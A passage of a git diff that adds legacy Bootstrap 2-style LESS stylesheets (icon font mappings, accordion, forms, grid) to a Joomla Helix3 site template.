+ content: "\e217";
+}
+.icon-checkmark-2:before {
+ content: "\e218";
+}
+.icon-checkmark-circle:before {
+ content: "\e219";
+}
+.icon-info:before {
+ content: "\e220";
+}
+.icon-info-2:before,
+.icon-info-circle:before {
+ content: "\e221";
+}
+.icon-question:before,
+.icon-question-sign:before,
+.icon-help:before {
+ content: "\45";
+}
+.icon-question-2:before,
+.icon-question-circle:before {
+ content: "\e222";
+}
+.icon-notification:before {
+ content: "\e223";
+}
+.icon-notification-2:before,
+.icon-notification-circle:before {
+ content: "\e224";
+}
+.icon-pending:before,
+.icon-warning:before {
+ content: "\48";
+}
+.icon-warning-2:before,
+.icon-warning-circle:before {
+ content: "\e225";
+}
+.icon-checkbox-unchecked:before {
+ content: "\3d";
+}
+.icon-checkin:before,
+.icon-checkbox:before,
+.icon-checkbox-checked:before {
+ content: "\3e";
+}
+.icon-checkbox-partial:before {
+ content: "\3f";
+}
+.icon-square:before {
+ content: "\e226";
+}
+.icon-radio-unchecked:before {
+ content: "\e227";
+}
+.icon-radio-checked:before,
+.icon-generic:before {
+ content: "\e228";
+}
+.icon-circle:before {
+ content: "\e229";
+}
+.icon-signup:before {
+ content: "\e230";
+}
+.icon-grid:before,
+.icon-grid-view:before {
+ content: "\58";
+}
+.icon-grid-2:before,
+.icon-grid-view-2:before {
+ content: "\59";
+}
+.icon-menu:before {
+ content: "\5a";
+}
+.icon-list:before,
+.icon-list-view:before {
+ content: "\31";
+}
+.icon-list-2:before {
+ content: "\e231";
+}
+.icon-menu-3:before {
+ content: "\e232";
+}
+.icon-folder-open:before,
+.icon-folder:before {
+ content: "\2d";
+}
+.icon-folder-close:before,
+.icon-folder-2:before {
+ content: "\2e";
+}
+.icon-folder-plus:before {
+ content: "\e234";
+}
+.icon-folder-minus:before {
+ content: "\e235";
+}
+.icon-folder-3:before {
+ content: "\e236";
+}
+.icon-folder-plus-2:before {
+ content: "\e237";
+}
+.icon-folder-remove:before {
+ content: "\e238";
+}
+.icon-file:before {
+ content: "\e016";
+}
+.icon-file-2:before {
+ content: "\e239";
+}
+.icon-file-add:before,
+.icon-file-plus:before {
+ content: "\29";
+}
+.icon-file-remove:before,
+.icon-file-minus:before {
+ content: "\e017";
+}
+.icon-file-check:before {
+ content: "\e240";
+}
+.icon-file-remove:before {
+ content: "\e241";
+}
+.icon-save-copy:before,
+.icon-copy:before {
+ content: "\e018";
+}
+.icon-stack:before {
+ content: "\e242";
+}
+.icon-tree:before {
+ content: "\e243";
+}
+.icon-tree-2:before {
+ content: "\e244";
+}
+.icon-paragraph-left:before {
+ content: "\e246";
+}
+.icon-paragraph-center:before {
+ content: "\e247";
+}
+.icon-paragraph-right:before {
+ content: "\e248";
+}
+.icon-paragraph-justify:before {
+ content: "\e249";
+}
+.icon-screen:before {
+ content: "\e01c";
+}
+.icon-tablet:before {
+ content: "\e01d";
+}
+.icon-mobile:before {
+ content: "\e01e";
+}
+.icon-box-add:before {
+ content: "\51";
+}
+.icon-box-remove:before {
+ content: "\52";
+}
+.icon-download:before {
+ content: "\e021";
+}
+.icon-upload:before {
+ content: "\e022";
+}
+.icon-home:before {
+ content: "\21";
+}
+.icon-home-2:before {
+ content: "\e250";
+}
+.icon-out-2:before,
+.icon-new-tab:before {
+ content: "\e024";
+}
+.icon-out-3:before,
+.icon-new-tab-2:before {
+ content: "\e251";
+}
+.icon-link:before {
+ content: "\e252";
+}
+.icon-picture:before,
+.icon-image:before {
+ content: "\2f";
+}
+.icon-pictures:before,
+.icon-images:before {
+ content: "\30";
+}
+.icon-palette:before,
+.icon-color-palette:before {
+ content: "\e014";
+}
+.icon-camera:before {
+ content: "\55";
+}
+.icon-camera-2:before,
+.icon-video:before {
+ content: "\e015";
+}
+.icon-play-2:before,
+.icon-video-2:before,
+.icon-youtube:before {
+ content: "\56";
+}
+.icon-music:before {
+ content: "\57";
+}
+.icon-user:before {
+ content: "\22";
+}
+.icon-users:before {
+ content: "\e01f";
+}
+.icon-vcard:before {
+ content: "\6d";
+}
+.icon-address:before {
+ content: "\70";
+}
+.icon-share-alt:before,
+.icon-out:before {
+ content: "\26";
+}
+.icon-enter:before {
+ content: "\e257";
+}
+.icon-exit:before {
+ content: "\e258";
+}
+.icon-comment:before,
+.icon-comments:before {
+ content: "\24";
+}
+.icon-comments-2:before {
+ content: "\25";
+}
+.icon-quote:before,
+.icon-quotes-left:before {
+ content: "\60";
+}
+.icon-quote-2:before,
+.icon-quotes-right:before {
+ content: "\61";
+}
+.icon-quote-3:before,
+.icon-bubble-quote:before {
+ content: "\e259";
+}
+.icon-phone:before {
+ content: "\e260";
+}
+.icon-phone-2:before {
+ content: "\e261";
+}
+.icon-envelope:before,
+.icon-mail:before {
+ content: "\4d";
+}
+.icon-envelope-opened:before,
+.icon-mail-2:before {
+ content: "\4e";
+}
+.icon-unarchive:before,
+.icon-drawer:before {
+ content: "\4f";
+}
+.icon-archive:before,
+.icon-drawer-2:before {
+ content: "\50";
+}
+.icon-briefcase:before {
+ content: "\e020";
+}
+.icon-tag:before {
+ content: "\e262";
+}
+.icon-tag-2:before {
+ content: "\e263";
+}
+.icon-tags:before {
+ content: "\e264";
+}
+.icon-tags-2:before {
+ content: "\e265";
+}
+.icon-options:before,
+.icon-cog:before {
+ content: "\38";
+}
+.icon-cogs:before {
+ content: "\37";
+}
+.icon-screwdriver:before,
+.icon-tools:before {
+ content: "\36";
+}
+.icon-wrench:before {
+ content: "\3a";
+}
+.icon-equalizer:before {
+ content: "\39";
+}
+.icon-dashboard:before {
+ content: "\78";
+}
+.icon-switch:before {
+ content: "\e266";
+}
+.icon-filter:before {
+ content: "\54";
+}
+.icon-purge:before,
+.icon-trash:before {
+ content: "\4c";
+}
+.icon-checkedout:before,
+.icon-lock:before,
+.icon-locked:before {
+ content: "\23";
+}
+.icon-unlock:before {
+ content: "\e267";
+}
+.icon-key:before {
+ content: "\5f";
+}
+.icon-support:before {
+ content: "\46";
+}
+.icon-database:before {
+ content: "\62";
+}
+.icon-scissors:before {
+ content: "\e268";
+}
+.icon-health:before {
+ content: "\6a";
+}
+.icon-wand:before {
+ content: "\6b";
+}
+.icon-eye-open:before,
+.icon-eye:before {
+ content: "\3c";
+}
+.icon-eye-close:before,
+.icon-eye-blocked:before,
+.icon-eye-2:before {
+ content: "\e269";
+}
+.icon-clock:before {
+ content: "\6e";
+}
+.icon-compass:before {
+ content: "\6f";
+}
+.icon-broadcast:before,
+.icon-connection:before,
+.icon-wifi:before {
+ content: "\e01b";
+}
+.icon-book:before {
+ content: "\e271";
+}
+.icon-lightning:before,
+.icon-flash:before {
+ content: "\79";
+}
+.icon-print:before,
+.icon-printer:before {
+ content: "\e013";
+}
+.icon-feed:before {
+ content: "\71";
+}
+.icon-calendar:before {
+ content: "\43";
+}
+.icon-calendar-2:before {
+ content: "\44";
+}
+.icon-calendar-3:before {
+ content: "\e273";
+}
+.icon-pie:before {
+ content: "\77";
+}
+.icon-bars:before {
+ content: "\76";
+}
+.icon-chart:before {
+ content: "\75";
+}
+.icon-power-cord:before {
+ content: "\32";
+}
+.icon-cube:before {
+ content: "\33";
+}
+.icon-puzzle:before {
+ content: "\34";
+}
+.icon-attachment:before,
+.icon-paperclip:before,
+.icon-flag-2:before {
+ content: "\72";
+}
+.icon-lamp:before {
+ content: "\74";
+}
+.icon-pin:before,
+.icon-pushpin:before {
+ content: "\73";
+}
+.icon-location:before {
+ content: "\63";
+}
+.icon-shield:before {
+ content: "\e274";
+}
+.icon-flag:before {
+ content: "\35";
+}
+.icon-flag-3:before {
+ content: "\e275";
+}
+.icon-bookmark:before {
+ content: "\e023";
+}
+.icon-bookmark-2:before {
+ content: "\e276";
+}
+.icon-heart:before {
+ content: "\e277";
+}
+.icon-heart-2:before {
+ content: "\e278";
+}
+.icon-thumbs-up:before {
+ content: "\5b";
+}
+.icon-thumbs-down:before{
+ content: "\5c";
+}
+.icon-unfeatured:before,
+.icon-asterisk:before,
+.icon-star-empty:before {
+ content: "\40";
+}
+.icon-star-2:before {
+ content: "\41";
+}
+.icon-featured:before,
+.icon-default:before,
+.icon-star:before{
+ content: "\42";
+}
+.icon-smiley:before,
+.icon-smiley-happy:before {
+ content: "\e279";
+}
+.icon-smiley-2:before,
+.icon-smiley-happy-2:before {
+ content: "\e280";
+}
+.icon-smiley-sad:before {
+ content: "\e281";
+}
+.icon-smiley-sad-2:before {
+ content: "\e282";
+}
+.icon-smiley-neutral:before {
+ content: "\e283";
+}
+.icon-smiley-neutral-2:before {
+ content: "\e284";
+}
+.icon-cart:before {
+ content: "\e019";
+}
+.icon-basket:before {
+ content: "\e01a";
+}
+.icon-credit:before {
+ content: "\e286";
+}
+.icon-credit-2:before {
+ content: "\e287";
+}
+.icon-expired:before {
+content: "\4b";
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/accordion.less b/deployed/helix3/templates/shaper_helix3/less/legacy/accordion.less
new file mode 100644
index 00000000..d63523bc
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/accordion.less
@@ -0,0 +1,34 @@
+//
+// Accordion
+// --------------------------------------------------
+
+
+// Parent container
+.accordion {
+ margin-bottom: @baseLineHeight;
+}
+
+// Group == heading + body
+.accordion-group {
+ margin-bottom: 2px;
+ border: 1px solid #e5e5e5;
+ .border-radius(@baseBorderRadius);
+}
+.accordion-heading {
+ border-bottom: 0;
+}
+.accordion-heading .accordion-toggle {
+ display: block;
+ padding: 8px 15px;
+}
+
+// General toggle styles
+.accordion-toggle {
+ cursor: pointer;
+}
+
+// Inner needs the styles because you can't animate properly with any styles on the element
+.accordion-inner {
+ padding: 9px 15px;
+ border-top: 1px solid #e5e5e5;
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/bootstrap.less b/deployed/helix3/templates/shaper_helix3/less/legacy/bootstrap.less
new file mode 100644
index 00000000..35018898
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/bootstrap.less
@@ -0,0 +1,28 @@
+/*!
+ * Bootstrap v2.3.2
+ *
+ * Copyright 2012 Twitter, Inc
+ * Licensed under the Apache License v2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Designed and built with all the love in the world @twitter by @mdo and @fat.
+ */
+
+// Core variables and mixins
+@import "variables.less"; // Modify this for custom colors, font-sizes, etc
+@import "mixins.less";
+
+// Grid system and page structure
+@import "grid.less";
+
+// Base CSS
+@import "forms.less";
+
+// Components: common
+@import "wells.less";
+
+// Components: common
+@import "accordion.less";
+
+@import "responsive-767px-max.joomla.less";
+// < Joomla JUI
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/forms.less b/deployed/helix3/templates/shaper_helix3/less/legacy/forms.less
new file mode 100644
index 00000000..76f768d3
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/forms.less
@@ -0,0 +1,632 @@
+//
+// Forms
+// --------------------------------------------------
+
+
+// GENERAL STYLES
+// --------------
+
+// Form controls
+// -------------------------
+
+// Reset appearance properties for textual inputs and textarea
+// Declare width for legacy (can't be on input[type=*] selectors or it's too specific)
+input,
+textarea,
+.uneditable-input {
+ width: 206px; // plus 12px padding and 2px border
+}
+// Reset height since textareas have rows
+textarea {
+ height: auto;
+}
+// Everything else
+textarea,
+input[type="text"],
+input[type="password"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="date"],
+input[type="month"],
+input[type="time"],
+input[type="week"],
+input[type="number"],
+input[type="email"],
+input[type="url"],
+input[type="search"],
+input[type="tel"],
+input[type="color"],
+.uneditable-input {
+ background-color: @inputBackground;
+ border: 1px solid @inputBorder;
+ .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));
+ .transition(~"border linear .2s, box-shadow linear .2s");
+
+ // Focus state
+ &:focus {
+ border-color: rgba(82,168,236,.8);
+ outline: 0;
+ outline: thin dotted \9; /* IE6-9 */
+ .box-shadow(~"inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6)");
+ }
+}
+
+// Position radios and checkboxes better
+input[type="radio"],
+input[type="checkbox"] {
+ margin: 4px 0 0;
+ *margin-top: 0; /* IE7 */
+ margin-top: 1px \9; /* IE8-9 */
+ line-height: normal;
+}
+
+// Reset width of input images, buttons, radios, checkboxes
+input[type="file"],
+input[type="image"],
+input[type="submit"],
+input[type="reset"],
+input[type="button"],
+input[type="radio"],
+input[type="checkbox"] {
+ width: auto; // Override of generic input selector
+}
+
+// Set the height of select and file controls to match text inputs
+select,
+input[type="file"] {
+ height: @inputHeight; /* In IE7, the height of the select element cannot be changed by height, only font-size */
+ *margin-top: 4px; /* For IE7, add top margin to align select with labels */
+ line-height: @inputHeight;
+}
+
+// Make select elements obey height by applying a border
+select {
+ width: 220px; // default input width + 10px of padding that doesn't get applied
+ border: 1px solid @inputBorder;
+ background-color: @inputBackground; // Chrome on Linux and Mobile Safari need background-color
+}
+
+// Make multiple select elements height not fixed
+select[multiple],
+select[size] {
+ height: auto;
+}
+
+// Focus for select, file, radio, and checkbox
+select:focus,
+input[type="file"]:focus,
+input[type="radio"]:focus,
+input[type="checkbox"]:focus {
+ .tab-focus();
+}
+
+
+// Uneditable inputs
+// -------------------------
+
+// Make uneditable inputs look inactive
+.uneditable-input,
+.uneditable-textarea {
+ color: @grayLight;
+ background-color: darken(@inputBackground, 1%);
+ border-color: @inputBorder;
+ .box-shadow(inset 0 1px 2px rgba(0,0,0,.025));
+ cursor: not-allowed;
+}
+
+// For text that needs to appear as an input but should not be an input
+.uneditable-input {
+ overflow: hidden; // prevent text from wrapping, but still cut it off like an input does
+ white-space: nowrap;
+}
+
+// Make uneditable textareas behave like a textarea
+.uneditable-textarea {
+ width: auto;
+ height: auto;
+}
+
+
+// Placeholder
+// -------------------------
+
+// Placeholder text gets special styles because when browsers invalidate entire lines if it doesn't understand a selector
+input,
+textarea {
+ .placeholder();
+}
+
+
+// CHECKBOXES & RADIOS
+// -------------------
+
+// Move the options list down to align with labels
+.controls > .radio:first-child,
+.controls > .checkbox:first-child {
+ padding-top: 5px; // has to be padding because margin collaspes
+}
+
+// Radios and checkboxes on same line
+// TODO v3: Convert .inline to .control-inline
+.radio.inline,
+.checkbox.inline {
+ display: inline-block;
+ padding-top: 5px;
+ margin-bottom: 0;
+ vertical-align: middle;
+}
+.radio.inline + .radio.inline,
+.checkbox.inline + .checkbox.inline {
+ margin-left: 10px; // space out consecutive inline controls
+}
+
+
+
+// INPUT SIZES
+// -----------
+
+// General classes for quick sizes
+.input-mini { width: 60px; }
+.input-small { width: 90px; }
+.input-medium { width: 150px; }
+.input-large { width: 210px; }
+.input-xlarge { width: 270px; }
+.input-xxlarge { width: 530px; }
+
+// Grid style input sizes
+input[class*="span"],
+select[class*="span"],
+textarea[class*="span"],
+.uneditable-input[class*="span"],
+// Redeclare since the fluid row class is more specific
+.row-fluid input[class*="span"],
+.row-fluid select[class*="span"],
+.row-fluid textarea[class*="span"],
+.row-fluid .uneditable-input[class*="span"] {
+ float: none;
+ margin-left: 0;
+}
+// Ensure input-prepend/append never wraps
+.input-append input[class*="span"],
+.input-append .uneditable-input[class*="span"],
+.input-prepend input[class*="span"],
+.input-prepend .uneditable-input[class*="span"],
+.row-fluid input[class*="span"],
+.row-fluid select[class*="span"],
+.row-fluid textarea[class*="span"],
+.row-fluid .uneditable-input[class*="span"],
+.row-fluid .input-prepend [class*="span"],
+.row-fluid .input-append [class*="span"] {
+ display: inline-block;
+}
+
+
+
+// GRID SIZING FOR INPUTS
+// ----------------------
+
+// Grid sizes
+#grid > .input(@gridColumnWidth, @gridGutterWidth);
+
+// Control row for multiple inputs per line
+.controls-row {
+ .clearfix(); // Clear the float from controls
+}
+
+// Float to collapse white-space for proper grid alignment
+.controls-row [class*="span"],
+// Redeclare the fluid grid collapse since we undo the float for inputs
+.row-fluid .controls-row [class*="span"] {
+ float: left;
+}
+// Explicity set top padding on all checkboxes/radios, not just first-child
+.controls-row .checkbox[class*="span"],
+.controls-row .radio[class*="span"] {
+ padding-top: 5px;
+}
+
+
+
+
+// DISABLED STATE
+// --------------
+
+// Disabled and read-only inputs
+input[disabled],
+select[disabled],
+textarea[disabled],
+input[readonly],
+select[readonly],
+textarea[readonly] {
+ cursor: not-allowed;
+ background-color: @inputDisabledBackground;
+}
+// Explicitly reset the colors here
+input[type="radio"][disabled],
+input[type="checkbox"][disabled],
+input[type="radio"][readonly],
+input[type="checkbox"][readonly] {
+ background-color: transparent;
+}
+
+
+
+
+// FORM FIELD FEEDBACK STATES
+// --------------------------
+
+// Warning
+.control-group.warning {
+ .formFieldState(@warningText, @warningText, @warningBackground);
+}
+// Error
+.control-group.error {
+ .formFieldState(@errorText, @errorText, @errorBackground);
+}
+// Success
+.control-group.success {
+ .formFieldState(@successText, @successText, @successBackground);
+}
+// Success
+.control-group.info {
+ .formFieldState(@infoText, @infoText, @infoBackground);
+}
+
+// HTML5 invalid states
+// Shares styles with the .control-group.error above
+input:focus:invalid,
+textarea:focus:invalid,
+select:focus:invalid {
+ color: #b94a48;
+ border-color: #ee5f5b;
+ &:focus {
+ border-color: darken(#ee5f5b, 10%);
+ @shadow: 0 0 6px lighten(#ee5f5b, 20%);
+ .box-shadow(@shadow);
+ }
+}
+
+
+
+// FORM ACTIONS
+// ------------
+
+.form-actions {
+ padding: (@baseLineHeight - 1) 20px @baseLineHeight;
+ margin-top: @baseLineHeight;
+ margin-bottom: @baseLineHeight;
+ background-color: @formActionsBackground;
+ border-top: 1px solid #e5e5e5;
+ .clearfix(); // Adding clearfix to allow for .pull-right button containers
+}
+
+
+
+// HELP TEXT
+// ---------
+
+.help-block,
+.help-inline {
+ color: lighten(@textColor, 15%); // lighten the text some for contrast
+}
+
+.help-block {
+ display: block; // account for any element using help-block
+ margin-bottom: @baseLineHeight / 2;
+}
+
+.help-inline {
+ display: inline-block;
+ .ie7-inline-block();
+ vertical-align: middle;
+ padding-left: 5px;
+}
+
+
+
+// INPUT GROUPS
+// ------------
+
+// Allow us to put symbols and text within the input field for a cleaner look
+.input-append,
+.input-prepend {
+ display: inline-block;
+ margin-bottom: @baseLineHeight / 2;
+ vertical-align: middle;
+ font-size: 0; // white space collapse hack
+ white-space: nowrap; // Prevent span and input from separating
+
+ // Reset the white space collapse hack
+ input,
+ select,
+ .uneditable-input,
+ .dropdown-menu,
+ .popover {
+ font-size: @baseFontSize;
+ }
+
+ input[type="text"],
+ input[type="password"],
+ input[type="datetime"],
+ input[type="datetime-local"],
+ input[type="date"],
+ input[type="month"],
+ input[type="time"],
+ input[type="week"],
+ input[type="number"],
+ input[type="email"],
+ input[type="url"],
+ input[type="search"],
+ input[type="tel"],
+ input[type="color"],
+ .uneditable-input {
+ width: auto;
+ display: inline-block;
+ position: relative; // placed here by default so that on :focus we can place the input above the .add-on for full border and box-shadow goodness
+ margin-bottom: 0; // prevent bottom margin from screwing up alignment in stacked forms
+ *margin-left: 0;
+ vertical-align: top;
+ .border-radius(0 @inputBorderRadius @inputBorderRadius 0);
+ // Make input on top when focused so blue border and shadow always show
+ &:focus {
+ z-index: 2;
+ }
+ }
+ .add-on {
+ display: inline-block;
+ width: auto;
+ height: @baseLineHeight;
+ min-height: @baseLineHeight;
+ min-width: 16px;
+ padding: 4px 5px;
+ font-size: @baseFontSize;
+ font-weight: normal;
+ line-height: @baseLineHeight;
+ text-align: center;
+ text-shadow: 0 1px 0 @white;
+ background-color: @grayLighter;
+ border: 1px solid #ccc;
+ }
+ .add-on,
+ .btn,
+ .btn-group > .dropdown-toggle {
+ display: inline-block;
+ vertical-align: top;
+ .border-radius(0);
+ }
+ .active {
+ background-color: lighten(@green, 30);
+ border-color: @green;
+ }
+}
+
+.input-prepend {
+ .add-on,
+ .btn {
+ margin-right: -1px;
+ }
+ .add-on:first-child,
+ .btn:first-child {
+ // FYI, `.btn:first-child` accounts for a button group that's prepended
+ .border-radius(@inputBorderRadius 0 0 @inputBorderRadius);
+ }
+}
+
+.input-append {
+ input[type="text"],
+ input[type="password"],
+ input[type="datetime"],
+ input[type="datetime-local"],
+ input[type="date"],
+ input[type="month"],
+ input[type="time"],
+ input[type="week"],
+ input[type="number"],
+ input[type="email"],
+ input[type="url"],
+ input[type="search"],
+ input[type="tel"],
+ input[type="color"],
+ .uneditable-input {
+ .border-radius(@inputBorderRadius 0 0 @inputBorderRadius);
+ + .btn-group .btn:last-child {
+ .border-radius(0 @inputBorderRadius @inputBorderRadius 0);
+ }
+ }
+ .add-on,
+ .btn,
+ .btn-group {
+ margin-left: -1px;
+ }
+ .add-on:last-child,
+ .btn:last-child,
+ .btn-group:last-child > .dropdown-toggle {
+ .border-radius(0 @inputBorderRadius @inputBorderRadius 0);
+ }
+}
+
+// Remove all border-radius for inputs with both prepend and append
+.input-prepend.input-append {
+ input,
+ select,
+ .uneditable-input {
+ .border-radius(0);
+ + .btn-group .btn {
+ .border-radius(0 @inputBorderRadius @inputBorderRadius 0);
+ }
+ }
+ .add-on:first-child,
+ .btn:first-child {
+ margin-right: -1px;
+ .border-radius(@inputBorderRadius 0 0 @inputBorderRadius);
+ }
+ .add-on:last-child,
+ .btn:last-child {
+ margin-left: -1px;
+ .border-radius(0 @inputBorderRadius @inputBorderRadius 0);
+ }
+ .btn-group:first-child {
+ margin-left: 0;
+ }
+}
+
+
+
+
+// SEARCH FORM
+// -----------
+
+input.search-query {
+ padding-right: 14px;
+ padding-right: 4px \9;
+ padding-left: 14px;
+ padding-left: 4px \9; /* IE7-8 doesn't have border-radius, so don't indent the padding */
+ margin-bottom: 0; // Remove the default margin on all inputs
+ .border-radius(15px);
+}
+
+/* Allow for input prepend/append in search forms */
+.form-search .input-append .search-query,
+.form-search .input-prepend .search-query {
+ .border-radius(0); // Override due to specificity
+}
+.form-search .input-append .search-query {
+ .border-radius(14px 0 0 14px);
+}
+.form-search .input-append .btn {
+ .border-radius(0 14px 14px 0);
+}
+.form-search .input-prepend .search-query {
+ .border-radius(0 14px 14px 0);
+}
+.form-search .input-prepend .btn {
+ .border-radius(14px 0 0 14px);
+}
+
+
+
+
+// HORIZONTAL & VERTICAL FORMS
+// ---------------------------
+
+// Common properties
+// -----------------
+
+.form-search,
+.form-inline,
+.form-horizontal {
+ input,
+ textarea,
+ select,
+ .help-inline,
+ .uneditable-input,
+ .input-prepend,
+ .input-append {
+ display: inline-block;
+ .ie7-inline-block();
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ // Re-hide hidden elements due to specifity
+ .hide {
+ display: none;
+ }
+}
+.form-search label,
+.form-inline label,
+.form-search .btn-group,
+.form-inline .btn-group {
+ display: inline-block;
+}
+// Remove margin for input-prepend/-append
+.form-search .input-append,
+.form-inline .input-append,
+.form-search .input-prepend,
+.form-inline .input-prepend {
+ margin-bottom: 0;
+}
+// Inline checkbox/radio labels (remove padding on left)
+.form-search .radio,
+.form-search .checkbox,
+.form-inline .radio,
+.form-inline .checkbox {
+ padding-left: 0;
+ margin-bottom: 0;
+ vertical-align: middle;
+}
+// Remove float and margin, set to inline-block
+.form-search .radio input[type="radio"],
+.form-search .checkbox input[type="checkbox"],
+.form-inline .radio input[type="radio"],
+.form-inline .checkbox input[type="checkbox"] {
+ float: left;
+ margin-right: 3px;
+ margin-left: 0;
+}
+
+
+// Margin to space out fieldsets
+.control-group {
+ margin-bottom: @baseLineHeight / 2;
+}
+
+// Legend collapses margin, so next element is responsible for spacing
+legend + .control-group {
+ margin-top: @baseLineHeight;
+ -webkit-margin-top-collapse: separate;
+}
+
+
+// Horizontal-specific styles
+ // --------------------------
+
+.form-horizontal {
+ // Increase spacing between groups
+ .control-group {
+ margin-bottom: @baseLineHeight;
+ .clearfix();
+ }
+ // Float the labels left
+ .control-label {
+ float: left;
+ width: @horizontalComponentOffset - 20;
+ padding-top: 5px;
+ text-align: right;
+ }
+ // Move over all input controls and content
+ .controls {
+ // Super jank IE7 fix to ensure the inputs in .input-append and input-prepend
+ // don't inherit the margin of the parent, in this case .controls
+ *display: inline-block;
+ *padding-left: 20px;
+ margin-left: @horizontalComponentOffset;
+ *margin-left: 0;
+ &:first-child {
+ *padding-left: @horizontalComponentOffset;
+ }
+ }
+ // Remove bottom margin on block level help text since that's accounted for on .control-group
+ .help-block {
+ margin-bottom: 0;
+ }
+ // And apply it only to .help-block instances that follow a form control
+ input,
+ select,
+ textarea,
+ .uneditable-input,
+ .input-prepend,
+ .input-append {
+ + .help-block {
+ margin-top: @baseLineHeight / 2;
+ }
+ }
+ // Move over buttons in .form-actions to align with .controls
+ .form-actions {
+ padding-left: @horizontalComponentOffset;
+ }
+}
+
+/*Fix for tooltips wrong positioning*/
+.control-label .hasTooltip {
+ display: inline-block;
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/grid.less b/deployed/helix3/templates/shaper_helix3/less/legacy/grid.less
new file mode 100644
index 00000000..24aef1a5
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/grid.less
@@ -0,0 +1,18 @@
+//
+// Grid system
+// --------------------------------------------------
+
+
+// Fluid (940px)
+#grid > .fluid(@fluidGridColumnWidth, @fluidGridGutterWidth);
+
+// Reset utility classes due to specificity
+[class*="span"].hide,
+.row-fluid [class*="span"].hide {
+ display: none;
+}
+
+[class*="span"].pull-right,
+.row-fluid [class*="span"].pull-right {
+ float: right;
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/icomoon.less b/deployed/helix3/templates/shaper_helix3/less/legacy/icomoon.less
new file mode 100644
index 00000000..991c7197
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/icomoon.less
@@ -0,0 +1,764 @@
+/*
+ * Due to a bug in the compiler that doesn't handle the relative paths correctly, the @font-face stuff needs to go in the templates less files
+@font-face {
+ font-family: 'IcoMoon';
+ src: url('../fonts/IcoMoon.eot');
+ src: url('../fonts/IcoMoon.eot?#iefix') format('embedded-opentype'),
+ url('../fonts/IcoMoon.woff') format('woff'),
+ url('../fonts/IcoMoon.ttf') format('truetype'),
+ url('../fonts/IcoMoon.svg#IcoMoon') format('svg');
+ font-weight: normal;
+ font-style: normal;
+}
+*/
+
+/* Use the following CSS code if you want to use data attributes for inserting your icons */
+[data-icon]:before {
+ font-family: 'IcoMoon';
+ content: attr(data-icon);
+ speak: none;
+}
+
+/* From Bootstrap */
+[class^="icon-"],
+[class*=" icon-"] {
+ display: inline-block;
+ width: 14px;
+ height: 14px;
+ margin-right: .25em;
+ line-height: 14px;
+}
+
+dd > span[class^="icon-"] + time,
+dd > span[class*=" icon-"] + time{
+ margin-left: -.25em;
+}
+dl.article-info dd.hits span[class^="icon-"],
+dl.article-info dd.hits span[class*=" icon-"]{
+ margin-right: 0;
+ }
+
+/* Use the following CSS code if you want to have a class per icon */
+[class^="icon-"]:before, [class*=" icon-"]:before {
+ font-family: 'IcoMoon';
+ font-style: normal;
+ speak: none;
+}
+[class^="icon-"].disabled,
+[class*=" icon-"].disabled {
+ font-weight: normal;
+}
+
+.icon-joomla:before {
+ content: "\e200";
+}
+.icon-chevron-up:before,
+.icon-uparrow:before,
+.icon-arrow-up:before {
+ content: "\e005";
+}
+.icon-chevron-right:before,
+.icon-rightarrow:before,
+.icon-arrow-right:before{
+ content: "\e006";
+}
+.icon-chevron-down:before,
+.icon-downarrow:before,
+.icon-arrow-down:before {
+ content: "\e007";
+}
+.icon-chevron-left:before,
+.icon-leftarrow:before,
+.icon-arrow-left:before {
+ content: "\e008";
+}
+.icon-arrow-first:before {
+ content: "\e003";
+}
+.icon-arrow-last:before {
+ content: "\e004";
+}
+.icon-arrow-up-2:before {
+ content: "\e009";
+}
+.icon-arrow-right-2:before {
+ content: "\e00a";
+}
+.icon-arrow-down-2:before {
+ content: "\e00b";
+}
+.icon-arrow-left-2:before {
+ content: "\e00c";
+}
+.icon-arrow-up-3:before {
+ content: "\e00f";
+}
+.icon-arrow-right-3:before {
+ content: "\e010";
+}
+.icon-arrow-down-3:before {
+ content: "\e011";
+}
+.icon-arrow-left-3:before {
+ content: "\e012";
+}
+.icon-menu-2:before {
+ content: "\e00e";
+}
+.icon-arrow-up-4:before {
+ content: "\e201";
+}
+.icon-arrow-right-4:before {
+ content: "\e202";
+}
+.icon-arrow-down-4:before {
+ content: "\e203";
+}
+.icon-arrow-left-4:before {
+ content: "\e204";
+}
+.icon-share:before,
+.icon-redo:before {
+ content: "\27";
+}
+.icon-undo:before {
+ content: "\28";
+}
+.icon-forward-2:before {
+ content: "\e205";
+}
+.icon-backward-2:before,
+.icon-reply:before {
+ content: "\e206";
+}
+.icon-unblock:before,
+.icon-refresh:before,
+.icon-redo-2:before {
+ content: "\6c";
+}
+.icon-undo-2:before {
+ content: "\e207";
+}
+.icon-move:before {
+ content: "\7a";
+}
+.icon-expand:before {
+ content: "\66";
+}
+.icon-contract:before {
+ content: "\67";
+}
+.icon-expand-2:before {
+ content: "\68";
+}
+.icon-contract-2:before {
+ content: "\69";
+}
+.icon-play:before {
+ content: "\e208";
+}
+.icon-pause:before {
+ content: "\e209";
+}
+.icon-stop:before {
+ content: "\e210";
+}
+.icon-previous:before,
+.icon-backward:before {
+ content: "\7c";
+}
+.icon-next:before,
+.icon-forward:before {
+ content: "\7b";
+}
+.icon-first:before {
+ content: "\7d";
+}
+.icon-last:before {
+ content: "\e000";
+}
+.icon-play-circle:before {
+ content: "\e00d";
+}
+.icon-pause-circle:before {
+ content: "\e211";
+}
+.icon-stop-circle:before {
+ content: "\e212";
+}
+.icon-backward-circle:before {
+ content: "\e213";
+}
+.icon-forward-circle:before {
+ content: "\e214";
+}
+.icon-loop:before {
+ content: "\e001";
+}
+.icon-shuffle:before {
+ content: "\e002";
+}
+.icon-search:before {
+ content: "\53";
+}
+.icon-zoom-in:before {
